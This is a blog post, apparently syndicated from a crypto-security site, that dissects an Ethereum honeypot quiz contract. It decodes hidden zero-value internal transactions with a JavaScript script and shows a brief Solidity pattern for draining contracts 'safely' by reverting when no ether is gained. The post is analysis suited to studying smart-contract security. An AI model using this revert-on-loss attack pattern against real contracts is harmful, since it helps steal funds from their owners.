After some serious head scratching, I found a recent interesting post on honeypot contracts that explains that Etherscan does not show transactions between contracts when msg.value is zero. Other blockchain explorers such as Etherchain do show them. Surely enough, etherchain reveals a couple additional transactions in the contract’s history, where a contract at 0x765951.. modifies responseHash via a zero-value transactions.

So let’s check these transactions; perhaps the ether can still be stolen? To track what happened, we need to decode these calls. We can get the contract’s ABI from Etherscan, and the internal transaction data from the “parity traces” of Etherchain (firstsecond). That’s all we need to decode the transactions into human readable format.

const abiDecoder = require('abi-decoder');
const Web3 = require('web3');
const web3 = new Web3();const abi = [{“constant”:false,”inputs”:[{“name”:”_question”,”type”:”string”},{“name”:”_response”,”type”:”string”}],”name”:”StartGame”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“constant”:false,”inputs”:[{“name”:”_question”,”type”:”string”},{“name”:”_responseHash”,”type”:”bytes32"}],”name”:”NewQuestion”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“constant”:true,”inputs”:[],”name”:”question”,”outputs”:[{“name”:””,”type”:”string”}],”payable”:false,”stateMutability”:”view”,”type”:”function”},{“constant”:false,”inputs”:[{“name”:”_response”,”type”:”string”}],”name”:”Play”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“constant”:false,”inputs”:[],”name”:”StopGame”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“payable”:true,”stateMutability”:”payable”,”type”:”fallback”}];const data1 = '0x1f1c827f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000464920616d2076657279206561737920746f2067657420696e746f2c627574206974206973206861726420746f20676574206f7574206f66206d652e205768617420616d20493f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000754726f75626c4500000000000000000000000000000000000000000000000000';const data2 = '0x3e3ee8590000000000000000000000000000000000000000000000000000000000000040c3fa7df9bf247d144f6933776e672e599a5ed406cd0a15a9f2da09055b8f906700000000000000000000000000000000000000000000000000000000000000464920616d2076657279206561737920746f2067657420696e746f2c627574206974206973206861726420746f20676574206f7574206f66206d652e205768617420616d20493f0000000000000000000000000000000000000000000000000000';abiDecoder.addABI(abi);
console.log(abiDecoder.decodeMethod(data1));
console.log(abiDecoder.decodeMethod(data2));

Running this code, we get the following result:

{ name: ‘StartGame’,
params: [ { name: ‘_question’,
value: ‘I am very easy to get into,but it is hard to get out of me. What am I?’,
type: ‘string’ },
{ name: ‘_response’,
value: ‘TroublE’,
type: ‘string’ }
]
}
{ name: ‘NewQuestion’,
params: [ { name: ‘_question’,
value: ‘I am very easy to get into,but it is hard to get out of me. What am I?’,
type: ‘string’ },
{ name: ‘_responseHash’,
value: ‘0xc3fa7df9bf247d144f6933776e672e599a5ed406cd0a15a9f2da09055b8f9067’,
type: ‘bytes32’ }
]
}

We learn that the first transaction sets the answer to keccak256("TroublE"), but the second one sets the answer to a hash value for which we don’t know the original data! Again it’s quite easy to miss that the second call does not use _question to compute the hash; instead, it’s set to an arbitrary value that does not match the string provided in the previous call, although the question does match.

So, unless we can find out a value that produces the given hash, possibly via a dictionary attack or a bruteforce search, we’re out of luck. And, given how sophisticated this honeypot is, I would assume trying to bruteforce the hash is not going to work out very well for us.

Unraveling this honeypot took quite some effort. Its creator is ultimately counting on attackers trusting the etherscan data, which does not contain the full picture.

The giveaway

I said this contract contains a dead giveaway that its creator is playing tricks. This is in this line:

require(msg.sender == tx.origin);

What this line achieves is, it prevents contracts from calling Play. This is because tx.origin is always an “external account”, and never a smart contract. Why is this useful for the attacker? A way to safely attack a contract is to call them from an “attack contract” that reverts execution if it didn’t gain ether from attack:

function attack() {
uint intialBalance = this.balance;
attack_contract();
require (this.balance > initialBalance);
}

This way, unless the attacker’s contract’s balance increases, the transaction fails altogether. The creator of the honeypot wants to prevent an attacker from using this trick to protect themselves.


Literature:


Conclusion

Honeypots are a moral grey area for me. Is it OK to scam those who are looking to steal from contracts? I don’t think so. But I do not feel very strongly about this. In the end, if you got scammed, it is because you were searching for smart contracts to steal from to begin with.

These scams play on the greed of people who are smart enough to figure out an apparent vulnerability in a contract, yet not knowledgeable enough to figure out what the underlying trap is.

If you want to get deeper into Smart Contract security, check this amazing wargame called Capture the Ether. It’s a fun way to hone your skills and train your eye for suspicious Solidity code.


GitHub

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/UrkOGyuuepE

Source: https://cryptodeeptech.ru/solidity-vulnerable-honeypots


Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

Сообщение Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots появились сначала на «CRYPTO DEEP TECH».

]]>